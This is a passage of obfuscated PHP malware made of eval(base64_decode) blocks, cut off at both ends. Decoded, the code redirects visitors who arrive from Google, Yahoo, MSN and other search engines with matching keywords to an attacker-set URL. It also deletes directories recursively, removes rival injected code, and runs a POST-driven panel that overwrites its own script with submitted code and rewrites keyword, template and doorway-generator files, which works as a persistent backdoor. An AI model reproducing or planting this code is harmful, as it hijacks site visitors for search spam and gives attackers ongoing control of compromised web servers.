}elseif(is_dir($R09A33463761E506248078D422B1C5226)){ F012D69AC5CE9ED6C2EC5DF1609CA51C4($R09A33463761E506248078D422B1C5226.'/', $R63BEDE6B19266D4EFEAD07A4D91E29EB, $R4AFE6F1D68092877EC575B6BE730FDC4, $R399036803A841185E4A270BC666A66CF); } } closedir($R60169CD1C47B7A7A85AB44F884635E41);}'));eval(base64_decode('ZnVuY3Rpb24gRkExRDE5RkE0NDZBRjkzODc5Nzk3ODNBRkFDNzBDRDNFKCYkUjNGMjQzRTEzNDQ0RjY5M0E1OUYxNUFBNUQ0MjRCM0JFKXsgJFIzRjI0M0UxMzQ0NEY2OTNBNTlGMTVBQTVENDI0QjNCRSA9IHByZWdfcmVwbGFjZSgiL1w8XD8oXHd7M30pP1xzKmV2YWxcKGJhc2U2NF9kZWNvZGUuKlwpXClcO1xzKlw/XD4vc2lVIiwgIiIsICRSM0YyNDNFMTM0NDRGNjkzQTU5RjE1QUE1RDQyNEIzQkUpO30='));eval(base64_decode('ZnVuY3Rpb24gRjVGQjVENkJFOEUwNjUwNjIwNURGQjEyMzM4RDU5NTc2KCRSNTM3Mzc2QzY4MDJEODg4NTEwMTU0N0FGODFFRUU1RjIgPSBhcnJheSgpKXsgZ2xvYmFsICRfU0VSVkVSOyAkUjg0NERGQzBGRDI1RDFGN0UwM0RFQ0YxRjVBOTUwNEE5ID0gcGFyc2VfdXJsKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSk7ICRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbaG9zdF0gPSAnICcgLiAkUjg0NERGQzBGRDI1RDFGN0UwM0RFQ0YxRjVBOTUwNEE5W2hvc3RdOyBpZihzdHJwb3MoJFI4NDRERkMwRkQyNUQxRjdFMDNERUNGMUY1QTk1MDRBOVtob3N0XSwgJ2dvb2dsZS4nKSl7ICRSMzY5MjNDRjYyNjE4RDFCOTk4MTc0MDczODk3MUU2NTEgPSBGMDlGMTJFOUY1QjhFQjc0N0REMEYyNENEODYyODRDQjkoJFI4NDRERkMwRkQyNUQxRjdFMDNERUNGMUY1QTk1MDRBOVtxdWVyeV0sICdxJyk7ICRHTE9CQUxTWydzZV9zb3VyY2UnXSA9ICdnb29nbGUnOyB9ZWxzZWlmKHN0cnBvcygkUjg0NERGQzBGRDI1RDFGN0UwM0RFQ0YxRjVBOTUwNEE5W2hvc3RdLCAnbXNuLicpKXsgJFIzNjkyM0NGNjI2MThEMUI5OTgxNzQwNzM4OTcxRTY1MSA9IEYwOUYxMkU5RjVCOEVCNzQ3REQwRjI0Q0Q4NjI4NENCOSgkUjg0NERGQzBGRDI1RDFGN0UwM0RFQ0YxRjVBOTUwNEE5W3F1ZXJ5XSwgJ3EnKTsgJEdMT0JBTFNbJ3NlX3NvdXJjZSddID0gJ21zbic7IH1lbHNlaWYoc3RycG9zKCRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbaG9zdF0sICdsaXZlLicpKXsgJFIzNjkyM0NGNjI2MThEMUI5OTgxNzQwNzM4OTcxRTY1MSA9IEYwOUYxMkU5RjVCOEVCNzQ3REQwRjI0Q0Q4NjI4NENCOSgkUjg0NERGQzBGRDI1RDFGN0UwM0RFQ0YxRjVBOTUwNEE5W3F1ZXJ5XSwgJ3EnKTsgJEdMT0JBTFNbJ3NlX3NvdXJjZSddID0gJ2xpdmUnOyB9ZWxzZWlmKHN0cnBvcygkUjg0NERGQzBGRDI1RDFGN0UwM0RFQ0YxRjVBOTUwNEE5W2hvc3RdLCAneWFob28uJykpeyAkUjM2OTIzQ0Y2MjYxOEQxQjk5ODE3NDA3Mzg5NzFFNjUxID0gRjA5RjEyRTlGNUI4RUI3NDdERDBGMjRDRDg2Mjg0Q0I5KCRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbcXVlcnldLCAncCcpOyAkR0xPQkFMU1snc2Vfc291cmNlJ10gPSAneWFob28nOyB9ZWxzZWlmKHN0cnBvcygkUjg0NERGQzBGRDI1RDFGN0UwM0RFQ0YxRjVBOTUwNEE5W2hvc3RdLCAnYWx0YXZpc3RhLicpKXsgJFIzNjkyM0NGNjI2MThEMUI5OTgxNzQwNzM4OTcxRTY1MSA9IEYwOUYxMkU5RjVCOEVCNzQ3REQwRjI0Q0Q4NjI4NENCOSgkUjg0NERGQzBGRDI1RDFGN0UwM0RFQ0YxRjVBOTUwNEE5W3F1ZXJ5XSwgJ3EnKTsgJEdMT0JBTFNbJ3NlX3NvdXJjZSddID0gJ2FsdGF2aXN0YSc7IH1lbHNlaWYoc3RycG9zKCRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbaG9zdF0sICdhb2wuJykpeyAkUjM2OTIzQ0Y2MjYxOEQxQjk5ODE3NDA3Mzg5NzFFNjUxID0gRjA5RjEyRTlGNUI4RUI3NDdERDBGMjRDRDg2Mjg0Q0I5KCRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbcXVlcnldLCAncXVlcnknKTsgJEdMT0JBTFNbJ3NlX3NvdXJjZSddID0gJ2FvbCc7IH1lbHNlaWYoc3RycG9zKCRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbaG9zdF0sICdhc2suJykpeyAkUjM2OTIzQ0Y2MjYxOEQxQjk5ODE3NDA3Mzg5NzFFNjUxID0gRjA5RjEyRTlGNUI4RUI3NDdERDBGMjRDRDg2Mjg0Q0I5KCRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbcXVlcnldLCAncScpOyAkR0xPQkFMU1snc2Vfc291cmNlJ10gPSAnYXNrJzsgfWVsc2VpZihzdHJwb3MoJFI4NDRERkMwRkQyNUQxRjdFMDNERUNGMUY1QTk1MDRBOVtob3N0XSwgJ2x5Y29zLicpKXsgJFIzNjkyM0NGNjI2MThEMUI5OTgxNzQwNzM4OTcxRTY1MSA9IEYwOUYxMkU5RjVCOEVCNzQ3REQwRjI0Q0Q4NjI4NENCOSgkUjg0NERGQzBGRDI1RDFGN0UwM0RFQ0YxRjVBOTUwNEE5W3F1ZXJ5XSwgJ3F1ZXJ5Jyk7ICRHTE9CQUxTWydzZV9zb3VyY2UnXSA9ICdseWNvcyc7IH1lbHNlaWYoc3RycG9zKCRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbaG9zdF0sICdob3Rib3QuJykpeyAkUjM2OTIzQ0Y2MjYxOEQxQjk5ODE3NDA3Mzg5NzFFNjUxID0gRjA5RjEyRTlGNUI4RUI3NDdERDBGMjRDRDg2Mjg0Q0I5KCRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbcXVlcnldLCAncXVlcnknKTsgJEdMT0JBTFNbJ3NlX3NvdXJjZSddID0gJ2hvdGJvdCc7IH1lbHNlaWYoc3RycG9zKCRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbaG9zdF0sICduZXRzY2FwZS4nKSl7ICRSMzY5MjNDRjYyNjE4RDFCOTk4MTc0MDczODk3MUU2NTEgPSBGMDlGMTJFOUY1QjhFQjc0N0REMEYyNENEODYyODRDQjkoJFI4NDRERkMwRkQyNUQxRjdFMDNERUNGMUY1QTk1MDRBOVtxdWVyeV0sICdxdWVyeScpOyAkR0xPQkFMU1snc2Vfc291cmNlJ10gPSAnbmV0c2NhcGUnOyB9ZWxzZWlmKHN0cnBvcygkUjg0NERGQzBGRDI1RDFGN0UwM0RFQ0YxRjVBOTUwNEE5W2hvc3RdLCAnbWFtbWEuJykpeyAkUjM2OTIzQ0Y2MjYxOEQxQjk5ODE3NDA3Mzg5NzFFNjUxID0gRjA5RjEyRTlGNUI4RUI3NDdERDBGMjRDRDg2Mjg0Q0I5KCRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbcXVlcnldLCAncXVlcnknKTsgJEdMT0JBTFNbJ3NlX3NvdXJjZSddID0gJ21hbW1hJzsgfWVsc2VpZihzdHJwb3MoJFI4NDRERkMwRkQyNUQxRjdFMDNERUNGMUY1QTk1MDRBOVtob3N0XSwgJ2FsbHRoZXdlYi4nKSl7ICRSMzY5MjNDRjYyNjE4RDFCOTk4MTc0MDczODk3MUU2NTEgPSBGMDlGMTJFOUY1QjhFQjc0N0REMEYyNENEODYyODRDQjkoJFI4NDRERkMwRkQyNUQxRjdFMDNERUNGMUY1QTk1MDRBOVtxdWVyeV0sICdxJyk7ICRHTE9CQUxTWydzZV9zb3VyY2UnXSA9ICdhbGx0aGV3ZWInOyB9ZWxzZWlmKHN0cnBvcygkUjg0NERGQzBGRDI1RDFGN0UwM0RFQ0YxRjVBOTUwNEE5W2hvc3RdLCAnY25ldC4nKSl7ICRSMzY5MjNDRjYyNjE4RDFCOTk4MTc0MDczODk3MUU2NTEgPSBGMDlGMTJFOUY1QjhFQjc0N0REMEYyNENEODYyODRDQjkoJFI4NDRERkMwRkQyNUQxRjdFMDNERUNGMUY1QTk1MDRBOVtxdWVyeV0sICdxdWVyeScpOyAkR0xPQkFMU1snc2Vfc291cmNlJ10gPSAnY25ldCc7IH1lbHNlaWYoc3RycG9zKCRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbaG9zdF0sICdibGluZ28uJykpeyAkUjM2OTIzQ0Y2MjYxOEQxQjk5ODE3NDA3Mzg5NzFFNjUxID0gRjA5RjEyRTlGNUI4RUI3NDdERDBGMjRDRDg2Mjg0Q0I5KCRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbcXVlcnldLCAncScpOyAkR0xPQkFMU1snc2Vfc291cmNlJ10gPSAnYmxpbmdvJzsgfWVsc2VpZihzdHJwb3MoJFI4NDRERkMwRkQyNUQxRjdFMDNERUNGMUY1QTk1MDRBOVtob3N0XSwgJ2ljcS4nKSl7ICRSMzY5MjNDRjYyNjE4RDFCOTk4MTc0MDczODk3MUU2NTEgPSBGMDlGMTJFOUY1QjhFQjc0N0REMEYyNENEODYyODRDQjkoJFI4NDRERkMwRkQyNUQxRjdFMDNERUNGMUY1QTk1MDRBOVtxdWVyeV0sICdxJyk7ICRHTE9CQUxTWydzZV9zb3VyY2UnXSA9ICdpY3EnOyB9IGlmKCEkUjM2OTIzQ0Y2MjYxOEQxQjk5ODE3NDA3Mzg5NzFFNjUxKXsgcmV0dXJuOyB9ICRHTE9CQUxTWydzZV9rZXl3b3JkJ10gPSAkUjM2OTIzQ0Y2MjYxOEQxQjk5ODE3NDA3Mzg5NzFFNjUxOyBpZighJEdMT0JBTFNbJ2Rnb3B0J11bJ2Rnc3InXSB8fCAhJFI1MzczNzZDNjgwMkQ4ODg1MTAxNTQ3QUY4MUVFRTVGMiB8fCAhJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKXsgcmV0dXJuOyB9ZWxzZXsgJFI1MzczNzZDNjgwMkQ4ODg1MTAxNTQ3QUY4MUVFRTVGMiA9IGFycmF5X2ZsaXAoJFI1MzczNzZDNjgwMkQ4ODg1MTAxNTQ3QUY4MUVFRTVGMik7IH0gJFJDQzVDNkU2OTZDMTFBNEZERjE3MEVDRThCQTlGREM2RiA9IGV4cGxvZGUoIiAiLCAkUjM2OTIzQ0Y2MjYxOEQxQjk5ODE3NDA3Mzg5NzFFNjUxKTsgaWYoaXNfYXJyYXkoJFI1MzczNzZDNjgwMkQ4ODg1MTAxNTQ3QUY4MUVFRTVGMikgJiYgY291bnQoJFI1MzczNzZDNjgwMkQ4ODg1MTAxNTQ3QUY4MUVFRTVGMikpeyBmb3JlYWNoKCRSQ0M1QzZFNjk2QzExQTRGREYxNzBFQ0U4QkE5RkRDNkYgYXMgJFJGNDEzRjA2QUVCQkNFRjVFMUM4QjEwMTlERUU2RkU2Qj0+JFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMyl7ICRSMjQ0RjM4MjY2QzU5NTg3RDY5NkFFQzA4QTc3MUI4MDMgPSBzdHJ0b2xvd2VyKHRyaW0oJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMykpOyBpZighJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMyl7IGNvbnRpbnVlOyB9IGlmKGlzc2V0KCRSNTM3Mzc2QzY4MDJEODg4NTEwMTU0N0FGODFFRUU1RjJbJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwM10pIHx8IGlzc2V0KCRSNTM3Mzc2QzY4MDJEODg4NTEwMTU0N0FGODFFRUU1RjJbJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMy4iXG4iXSkgfHwgaXNzZXQoJFI1MzczNzZDNjgwMkQ4ODg1MTAxNTQ3QUY4MUVFRTVGMlskUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzLiJcblxyIl0pIHx8IGlzc2V0KCRSNTM3Mzc2QzY4MDJEODg4NTEwMTU0N0FGODFFRUU1RjJbJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMy4iXHIiXSkgfHwgaXNzZXQoJFI1MzczNzZDNjgwMkQ4ODg1MTAxNTQ3QUY4MUVFRTVGMlskUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzLiJcclxuIl0pKXsgaWYoIUY3M0NDNjNEMkU1RDkyMkEwOEJFNzJFRkYxOTBDNTFDQSgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSwgJEdMT0JBTFNbJ2RnY3AnXS4iY3NpIiwgJEdMT0JBTFNbJ2Rnb3B0J11bJ2Rnc3QnXSkpeyByZXR1cm47IH0gJEdMT0JBTFNbJ2Rnb3B0J11bJ2Rnc3UnXSA9IHN0cl9yZXBsYWNlKCcla3clJywgc3RyX3JlcGxhY2UoJyAnLCAnKycsICRSMzY5MjNDRjYyNjE4RDFCOTk4MTc0MDczODk3MUU2NTEpLCAkR0xPQkFMU1snZGdvcHQnXVsnZGdzdSddKTsgJEdMT0JBTFNbJ2Rnb3B0J11bJ2Rnc3UnXSA9IHN0cl9yZXBsYWNlKCclcmVmJScsIHJhd3VybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pLCAkR0xPQkFMU1snZGdvcHQnXVsnZGdzdSddKTsgJEdMT0JBTFNbJ2Rnb3B0J11bJ2Rnc3UnXSA9IHN0cl9yZXBsYWNlKCclc2VsZl91cmwlJywgcmF3dXJsZW5jb2RlKCdodHRwOi8nLicvJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10pLCAkR0xPQkFMU1snZGdvcHQnXVsnZGdzdSddKTsgaWYoIWhlYWRlcnNfc2VudCgpKXsgSGVhZGVyKCJMb2NhdGlvbjogeyRHTE9CQUxTWydkZ29wdCddWydkZ3N1J119Iik7IH1lbHNleyBlY2hvIjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J3JlZnJlc2gnIGNvbnRlbnQ9JzA7dXJsPXskR0xPQkFMU1snZGdvcHQnXVsnZGdzdSddfSc+PC9oZWFkPjxib2R5PjwvYm9keT48L2h0bWw+IjsgfSBkaWU7IH0gfSB9fQ=='));eval(base64_decode('ZnVuY3Rpb24gRjIxRTE5ODkxRDZGQ0JDNjBFRTkyNjVBQkQ4ODhEMDBDKCRSMzQzNTk4NkJEQThDOTM5M0UwRUJEQjlGNThGMDI3NTAsICRSQTI0MDFGM0E2RTgyNjM4NDQyMzlENzhGQ0U5NjE5N0IgPSBmYWxzZSl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSB0cnVlOyBpZihmaWxlX2V4aXN0cygkUjM0MzU5ODZCREE4QzkzOTNFMEVCREI5RjU4RjAyNzUwKSl7ICRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEgPSBvcGVuZGlyKCRSMzQzNTk4NkJEQThDOTM5M0UwRUJEQjlGNThGMDI3NTApOyB3aGlsZShzdHJsZW4oJFIwOUEzMzQ2Mzc2MUU1MDYyNDgwNzhENDIyQjFDNTIyNiA9IHJlYWRkaXIoJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkpKXsgaWYoJFIwOUEzMzQ2Mzc2MUU1MDYyNDgwNzhENDIyQjFDNTIyNiA9PSAnLicgfHwgJFIwOUEzMzQ2Mzc2MUU1MDYyNDgwNzhENDIyQjFDNTIyNiA9PSAnLi4nKXsgY29udGludWU7IH0gaWYoaXNfZGlyKCRSMzQzNTk4NkJEQThDOTM5M0UwRUJEQjlGNThGMDI3NTAuJFIwOUEzMzQ2Mzc2MUU1MDYyNDgwNzhENDIyQjFDNTIyNikpeyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzID0gRjIxRTE5ODkxRDZGQ0JDNjBFRTkyNjVBQkQ4ODhEMDBDKCRSMzQzNTk4NkJEQThDOTM5M0UwRUJEQjlGNThGMDI3NTAuJFIwOUEzMzQ2Mzc2MUU1MDYyNDgwNzhENDIyQjFDNTIyNi4nLycsIHRydWUpOyBjb250aW51ZTsgfSBpZighdW5saW5rKCRSMzQzNTk4NkJEQThDOTM5M0UwRUJEQjlGNThGMDI3NTAuJFIwOUEzMzQ2Mzc2MUU1MDYyNDgwNzhENDIyQjFDNTIyNikpeyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzID0gZmFsc2U7IH0gfSBjbG9zZWRpcigkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKTsgaWYoJFJBMjQwMUYzQTZFODI2Mzg0NDIzOUQ3OEZDRTk2MTk3QiAmJiAhcm1kaXIoJFIzNDM1OTg2QkRBOEM5MzkzRTBFQkRCOUY1OEYwMjc1MCkpeyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzID0gZmFsc2U7IH0gfSByZXR1cm4gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mzt9'));eval(base64_decode('ZnVuY3Rpb24gRkZENENBMDk4NzI3OEQ5RTNFQjdCNkVDNTFDNTlDNkU4KCl7IGdsb2JhbCAkX1BPU1Q7IGVycm9yX3JlcG9ydGluZyhFX0FMTCAmIH5FX05PVElDRSk7IHNldF90aW1lX2xpbWl0KDYwMCk7IGlmKHN0cmxlbih0cmltKCRfUE9TVFsnY29kZSddKSkgPiAxMDAwKXsgJF9QT1NUWydjb2RlJ10gPSB0cmltKHJhd3VybGRlY29kZSgkX1BPU1RbJ2NvZGUnXSkpOyBpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsgJF9QT1NUWydjb2RlJ10gPSBzdHJpcHNsYXNoZXMoJF9QT1NUWydjb2RlJ10pOyB9IGlmKHN0cmxlbigkX1BPU1RbJ2NvZGUnXSkgPD4gZmlsZXNpemUoJEdMT0JBTFNbJ2RnY3AnXS4kR0xPQkFMU1snZGdpbiddKSl7IEYxN0I4QzY1MDY0QUU5MDY3OUU0Q0U2MjU0RUY2QzUxMCgkR0xPQkFMU1snZGdjcCddLiRHTE9CQUxTWydkZ2luJ10sICRfUE9TVFsnY29kZSddLCAibWFpbiBzY3JpcHQgZmlsZSB7JEdMT0JBTFNbJ2RnY3AnXX17JEdMT0JBTFNbJ2RnaW4nXX0gdXBkYXRlZCBzdWNjZXNzZnVsbHkuLi48YnI+IiwgMSk7IH0gfSBpZigkX1BPU1RbJ2Rnb3B0J10peyAkX1BPU1RbJ2Rnb3B0J10gPSByYXd1cmxkZWNvZGUoJF9QT1NUWydkZ29wdCddKTsgaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7ICRfUE9TVFsnZGdvcHQnXSA9IHN0cmlwc2xhc2hlcygkX1BPU1RbJ2Rnb3B0J10pOyB9IGlmKHN0cnBvcygkX1BPU1RbJ2Rnb3B0J10sJyZxdW90OycpKXsgJF9QT1NUWydkZ29wdCddID0gaHRtbF9lbnRpdHlfZGVjb2RlKCRfUE9TVFsnZGdvcHQnXSk7IH0gJFJDQzVDNkU2OTZDMTFBNEZERjE3MEVDRThCQTlGREM2RiA9IHByZWdfc3BsaXQoIi9cbi8iLCAkX1BPU1RbJ2Rnb3B0J10pOyBmb3JlYWNoKCRSQ0M1QzZFNjk2QzExQTRGREYxNzBFQ0U4QkE5RkRDNkYgYXMgJFJGNDEzRjA2QUVCQkNFRjVFMUM4QjEwMTlERUU2RkU2Qj0+JFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMyl7ICRSOTA2MUM5RkVGMTZFN0M4QzU1NjM2NUUxN0QzNzk1MkMgPSBleHBsb2RlKCIgPSAiLCAkUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzKTsgaWYoJFI5MDYxQzlGRUYxNkU3QzhDNTU2MzY1RTE3RDM3OTUyQ1swXSl7ICRSOTA2MUM5RkVGMTZFN0M4QzU1NjM2NUUxN0QzNzk1MkNbMV0gPSB0cmltKCRSOTA2MUM5RkVGMTZFN0M4QzU1NjM2NUUxN0QzNzk1MkNbMV0pOyBpZigkUjkwNjFDOUZFRjE2RTdDOEM1NTYzNjVFMTdEMzc5NTJDWzFdWzBdID09ICciJyl7ICRSOTA2MUM5RkVGMTZFN0M4QzU1NjM2NUUxN0QzNzk1MkNbMV0gPSBzdWJzdHIoJFI5MDYxQzlGRUYxNkU3QzhDNTU2MzY1RTE3RDM3OTUyQ1sxXSwgMSwgc3RybGVuKCRSOTA2MUM5RkVGMTZFN0M4QzU1NjM2NUUxN0QzNzk1MkNbMV0pIC0gMik7IH0gJEdMT0JBTFNbJ2Rnb3B0J11bdHJpbSgkUjkwNjFDOUZFRjE2RTdDOEM1NTYzNjVFMTdEMzc5NTJDWzBdKV0gPSAkUjkwNjFDOUZFRjE2RTdDOEM1NTYzNjVFMTdEMzc5NTJDWzFdOyB9IH0gRkFCRjFGOTc2ODM1M0IyNTY0QjU0NjBGMTc4QzRGMUNCKDApOyB9IGlmKCRfUE9TVFsnZGdrZXl3b3JkcyddKXsgJF9QT1NUWydkZ2tleXdvcmRzJ10gPSByYXd1cmxkZWNvZGUoJF9QT1NUWydkZ2tleXdvcmRzJ10pOyBpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsgJF9QT1NUWydkZ2tleXdvcmRzJ10gPSBzdHJpcHNsYXNoZXMoJF9QT1NUWydkZ2tleXdvcmRzJ10pOyB9IGlmKHN0cnBvcygkX1BPU1RbJ2RndGVtcGxhdGUnXSwnJnF1b3Q7JykpeyAkX1BPU1RbJ2RndGVtcGxhdGUnXSA9IGh0bWxfZW50aXR5X2RlY29kZSgkX1BPU1RbJ2RndGVtcGxhdGUnXSk7IH0gaWYoIWZpbGVfZXhpc3RzKCRHTE9CQUxTWydkZ2tmJ10pIHx8IHN0cmxlbigkX1BPU1RbJ2Rna2V5d29yZHMnXSkgPD4gZmlsZXNpemUoJEdMT0JBTFNbJ2Rna2YnXSkpeyBGMTdCOEM2NTA2NEFFOTA2NzlFNENFNjI1NEVGNkM1MTAoJEdMT0JBTFNbJ2Rna2YnXSwgJF9QT1NUWydkZ2tleXdvcmRzJ10sICJrZXl3b3JkcyBmaWxlIHskR0xPQkFMU1snZGdrZiddfSB1cGRhdGVkIHN1Y2Nlc3NmdWxseS4uLjxicj4iLCAxKTsgRkUwMzIzQTkwMzlBREQyOTc4QkY1QjQ5NTUwNTcyQzdDKCk7IEZCOTdGQTYzQzc4QkM5MUI1NDAzQzc3QThDRjNBOTk4NigpOyB9IH0gaWYoJF9QT1NUWydkZ3NrZXl3b3JkcyddKXsgJF9QT1NUWydkZ3NrZXl3b3JkcyddID0gcmF3dXJsZGVjb2RlKCRfUE9TVFsnZGdza2V5d29yZHMnXSk7IGlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpeyAkX1BPU1RbJ2Rnc2tleXdvcmRzJ10gPSBzdHJpcHNsYXNoZXMoJF9QT1NUWydkZ3NrZXl3b3JkcyddKTsgfSBpZighZmlsZV9leGlzdHMoJEdMT0JBTFNbJ2Rnc2tmJ10pIHx8IHN0cmxlbigkX1BPU1RbJ2Rnc2tleXdvcmRzJ10pIDw+IGZpbGVzaXplKCRHTE9CQUxTWydkZ3NrZiddKSl7IEYxN0I4QzY1MDY0QUU5MDY3OUU0Q0U2MjU0RUY2QzUxMCgkR0xPQkFMU1snZGdza2YnXSwgJF9QT1NUWydkZ3NrZXl3b3JkcyddLCAic19rZXl3b3JkcyBmaWxlIHskR0xPQkFMU1snZGdza2YnXX0gdXBkYXRlZCBzdWNjZXNzZnVsbHkuLi48YnI+IiwgMSk7IH0gfSBpZigkX1BPU1RbJ2RndGVtcGxhdGUnXSl7ICRfUE9TVFsnZGd0ZW1wbGF0ZSddID0gcmF3dXJsZGVjb2RlKCRfUE9TVFsnZGd0ZW1wbGF0ZSddKTsgaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7ICRfUE9TVFsnZGd0ZW1wbGF0ZSddID0gc3RyaXBzbGFzaGVzKCRfUE9TVFsnZGd0ZW1wbGF0ZSddKTsgfSBpZighZmlsZV9leGlzdHMoJEdMT0JBTFNbJ2RndGYnXSkgfHwgc3RybGVuKCRfUE9TVFsnZGd0ZW1wbGF0ZSddKSA8PiBmaWxlc2l6ZSgkR0xPQkFMU1snZGd0ZiddKSl7IEYxN0I4QzY1MDY0QUU5MDY3OUU0Q0U2MjU0RUY2QzUxMCgkR0xPQkFMU1snZGd0ZiddLCAkX1BPU1RbJ2RndGVtcGxhdGUnXSwgInRlbXBsYXRlIGZpbGUgeyRHTE9CQUxTWydkZ3RmJ119IHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5Li4uPGJyPiIsIDEpOyB9IH0gaWYoJF9QT1NUWydkZ2Rvb3JnZW4nXSl7ICRfUE9TVFsnZGdkb29yZ2VuJ10gPSByYXd1cmxkZWNvZGUoJF9QT1NUWydkZ2Rvb3JnZW4nXSk7IGlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpeyAkX1BPU1RbJ2RnZG9vcmdlbiddID0gc3RyaXBzbGFzaGVzKCRfUE9TVFsnZGdkb29yZ2VuJ10pOyB9IGlmKCFmaWxlX2V4aXN0cygkR0xPQkFMU1snZGdkZiddKSB8fCBzdHJsZW4oJF9QT1NUWydkZ2Rvb3JnZW4nXSkgPD4gZmlsZXNpemUoJEdMT0JBTFNbJ2RnZGYnXSkpeyBGMTdCOEM2NTA2NEFFOTA2NzlFNENFNjI1NEVGNkM1MTAoJEdMT0JBTFNbJ2RnZGYnXSwgJF9QT1NUWydkZ2Rvb3JnZW4nXSwgImRvb3JnZW4gZmlsZSB7JEdMT0JBTFNbJ2RnZGYnXX0gdXBkYXRlZCBzdWNjZXNzZnVsbHkuLi48YnI+IiwgMSk7IH0gfSBlY2hvInskR0xPQkFMU1snanN2J119PGZvcm0gYWN0aW9uPVwiP2Rnc1wiIG1ldGhvZD0nUE9TVCc+IDxoMj5PcHRpb25zOjwvaDI+IDx0ZXh0YXJlYSBuYW1lPSdkZ29wdCcgc3R5bGU9J3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4Oyc+IiAuIEYxN0I4NzkwODk2OTA1MjU1NTg4OTg3Q0YwMTJBRkJEOCgpIC4gIjwvdGV4dGFyZWE+IDx0YWJsZSBib3JkZXI9MCB3aWR0aD0nMTAwJSc+IDx0cj4gPHRkIHdpZHRoPSc1MCUnPiA8aDI+RCBLZXl3b3Jkczo8L2gyPiA8dGV4dGFyZWEgbmFtZT0nZGdrZXl3b3Jkcycgc3R5bGU9J3dpZHRoOjEwMCU7aGVpZ2h0OjIwMHB4Oyc+IiAuIEZCRTQ0M0JDNzQxQzIxQ0FFREQ0RDUxNTAzMzZFMjc3MSgpIC4gIjwvdGV4dGFyZWE+IDwvdGQ+IDx0ZCB3aWR0aD0nNTAlJz4gPGgyPlMgS2V5d29yZHM6PC9oMj4gPHRleHRhcmVhIG5hbWU9J2Rnc2tleXdvcmRzJyBzdHlsZT0nd2lkdGg6MTAwJTtoZWlnaHQ6MjAwcHg7Jz4iIC4gc3RybGVuKEY5NThERjdDMjA3OTNDRENFMDQ5RTJBMDQzNkIzNDk4RCgpKSAuICI8L3RleHRhcmVhPiA8L3RkPiA8L3RyPiA8L3RhYmxlPiA8aDI+VGVtcGxhdGU6PC9oMj4gPHRleHRhcmVhIG5hbWU9J2RndGVtcGxhdGUnIHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoyMDBweDsnPiIuaHRtbGVudGl0aWVzKEZDMDNGNjFGQTVDOTdCMzIwRUMxODg3NDI1RkIxM0QxRigpKS4iPC90ZXh0YXJlYT4gPGgyPkRvb3JnZW46PC9oMj4gPHRleHRhcmVhIG5hbWU9J2RnZG9vcmdlbicgc3R5bGU9J3dpZHRoOjEwMCU7aGVpZ2h0OjIwMHB4Oyc+Ii5zdHJsZW4oRjk1NDQxN0E4Rjk2QTAxQTBFOEZBRkJGMkUxQTkzQTdGKCkpLiI8L3RleHRhcmVhPiA8YnIgLz48YnIgLz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nVVBEQVRFJz48L2Zvcm0+IjsgaWYoRkMyM0Y3RUM2NEYwQkRFM0I1QURFNkM5REQ0OEJFMUYyKCkpeyBlY2hvICI8YiBzdHlsZT0nY29sb3I6Z3JlZW4nPnskR0xPQkFMU1snZGdjcCddfTA8L2I+PGJyPiI7IH1lbHNleyBlY2hvICI8Y